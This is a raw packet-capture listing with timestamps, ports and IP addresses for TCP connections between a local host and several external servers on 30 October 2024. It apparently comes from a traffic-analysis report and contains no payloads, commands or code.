Oct 30, 2024 12:37:02.644325972 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644325972 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644341946 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644350052 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644350052 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644370079 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644386053 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644412041 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644426107 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644440889 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644454956 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644462109 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644462109 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644478083 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644481897 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644493103 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644501925 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644509077 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644517899 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644524097 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644539118 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644539118 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644562006 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644562006 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644568920 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644584894 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644591093 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644607067 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644628048 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644634008 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644634008 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644643068 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644653082 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644658089 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644671917 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644694090 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644695044 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644706964 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644715071 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644728899 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644745111 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644754887 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644754887 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644759893 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644778013 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644782066 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644797087 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644798040 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644815922 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644815922 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644829988 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644834995 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644834995 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644853115 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644859076 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644865990 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644876957 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644881010 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644896030 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644896984 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644911051 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644915104 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644932985 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644938946 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644938946 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644948006 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644957066 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644963026 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644973993 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644979000 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644993067 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645001888 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645006895 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645020962 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645021915 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645040989 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645042896 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645057917 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645061970 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645072937 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645083904 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645088911 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645104885 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645108938 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645117998 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645133972 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645144939 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645154953 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645165920 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645169973 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645184040 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645190001 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645196915 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645220995 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645205975 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645236015 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645242929 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645248890 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645262957 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645262957 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645272017 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645287037 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645287037 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645287991 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645298958 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645308018 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645313978 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645328999 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645333052 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645333052 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645343065 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645350933 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645359039 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645369053 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645375967 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.645386934 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645420074 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.645420074 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:03.064621925 CET	443	49764	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:03.064879894 CET	443	49764	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:03.065006018 CET	49764	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:03.065040112 CET	49764	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:03.688906908 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:03.688951969 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:03.689179897 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:03.689506054 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:03.689521074 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.293947935 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.294053078 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.533870935 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.533905029 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.534286022 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.535898924 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.536827087 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.536864996 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.537430048 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.537471056 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.537556887 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.537638903 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.537760019 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.537786961 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.537950039 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.537970066 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.539397955 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.539424896 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.539438963 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.539453030 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.539578915 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.539603949 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.539625883 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.540000916 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.540035963 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.553328037 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.553491116 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.553524017 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.553561926 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.553563118 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.553603888 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.553673029 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:04.553729057 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:04.847917080 CET	49755	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:37:04.848221064 CET	49781	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:37:04.853569984 CET	80	49781	185.215.113.43	192.168.2.4
Oct 30, 2024 12:37:04.853638887 CET	49781	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:37:04.853643894 CET	80	49755	185.215.113.43	192.168.2.4
Oct 30, 2024 12:37:04.853773117 CET	49755	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:37:04.853847980 CET	49781	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:37:04.859139919 CET	80	49781	185.215.113.43	192.168.2.4
Oct 30, 2024 12:37:04.863589048 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:04.870001078 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:04.870062113 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:05.766058922 CET	80	49781	185.215.113.43	192.168.2.4
Oct 30, 2024 12:37:05.766120911 CET	49781	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:37:05.784693956 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:05.790103912 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:05.790194035 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:05.806875944 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:05.812273026 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.278548002 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:06.278809071 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:06.278908014 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:06.287172079 CET	49770	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:06.287189007 CET	443	49770	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:06.309989929 CET	49788	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:06.310030937 CET	443	49788	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:06.310163021 CET	49788	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:06.310712099 CET	49788	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:06.310724020 CET	443	49788	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:06.710481882 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.710503101 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.710517883 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.710551977 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.710566998 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.710576057 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.710581064 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.710597038 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.710608006 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.710613012 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.710629940 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.710637093 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.710649967 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.710671902 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.710730076 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.710747957 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.710788012 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.716129065 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.716181040 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.716227055 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.716249943 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.716274977 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.716301918 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.724075079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 12:37:06.871728897 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.871769905 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.871911049 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.871947050 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.871982098 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.872018099 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.872044086 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.872091055 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.872396946 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.872450113 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.872627020 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.872678995 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.872679949 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.872730017 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.872765064 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.872780085 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.872800112 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.872843981 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.873670101 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.873774052 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.873807907 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.873835087 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.873845100 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.873861074 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.873878956 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.873893023 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.874578953 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.874641895 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.874650955 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.874701977 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.874735117 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.874764919 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.874769926 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.874814987 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.875555038 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.876408100 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.877449036 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:06.879033089 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:06.928423882 CET	443	49788	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:06.928522110 CET	49788	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:06.942094088 CET	49788	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:06.942121029 CET	443	49788	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:06.942439079 CET	443	49788	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:06.953382015 CET	49788	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:06.953419924 CET	49788	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:06.953466892 CET	443	49788	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:07.034168959 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034224033 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034282923 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034291029 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034312963 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034322023 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034362078 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034364939 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034404039 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034414053 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034452915 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034487009 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034521103 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034524918 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034589052 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034614086 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034631014 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034637928 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034671068 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034677982 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034703970 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034710884 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034738064 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034744978 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034775972 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034785986 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034820080 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034825087 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034852982 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034858942 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034887075 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034890890 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034921885 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034955025 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034964085 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.034987926 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.034997940 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035023928 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.035026073 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035060883 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035063982 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.035099030 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.035104036 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035131931 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.035135984 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035166025 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.035168886 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035196066 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035296917 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.035341024 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035365105 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.035399914 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.035409927 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035434008 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.035444975 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035468102 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.035479069 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035501957 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.035509109 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035537004 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.035566092 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035573006 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.035576105 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.035609961 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.036221981 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.036271095 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.036271095 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.036303997 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.036309958 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.036335945 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.036340952 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.036370039 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.036375046 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.036401033 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.036403894 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.036437988 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.036442041 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.036472082 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.036474943 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.036510944 CET	49787	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:07.037064075 CET	80	49787	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:07.037127972 CET	49787	80	192.168.2.4	185.215.113.16
